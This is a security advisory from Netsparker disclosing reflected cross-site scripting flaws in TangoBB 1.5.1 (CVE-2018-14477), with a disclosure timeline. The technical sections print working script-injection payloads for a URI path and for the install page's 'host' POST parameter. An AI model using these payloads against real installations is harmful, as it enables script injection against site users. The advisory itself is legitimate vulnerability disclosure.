Information
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Advisory by Netsparker
Name: Cross-site Scripting Vulnerabilities in TangoBB
Affected Software: TangoBB
Affected Versions: 1.5.1
Homepage: https://github.com/Codetana/TangoBB
Vulnerability: Cross-site Scripting Vulnerabilities
Severity: High
Status: Not Fixed
CVE-ID: CVE-2018-14477
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-007

Technical Details
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URL  http://app.scan/ScanApp/TangoBB-1.5.1/forum.php/'"--></style></scRipt><scRipt>netsparker(0x001432)</scRipt>  
Proof URL  http://app.scan/ScanApp/TangoBB-1.5.1/forum.php/'"--></style></scRipt><scRipt>alert(0x001432)</scRipt>  
Parameter Name  URI-BASED
Parameter Type  Full URL
Attack Pattern  /'"--></style></scRipt><scRipt>netsparker(0x001432)</scRipt>  

Technical Details - (Install)
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URL  http://app.scan/ScanApp/TangoBB-1.5.1/install/pages/mysql.php
Parameter Name  host
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x000BF8)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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20 November 2017 - Issue Reported
10 September 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.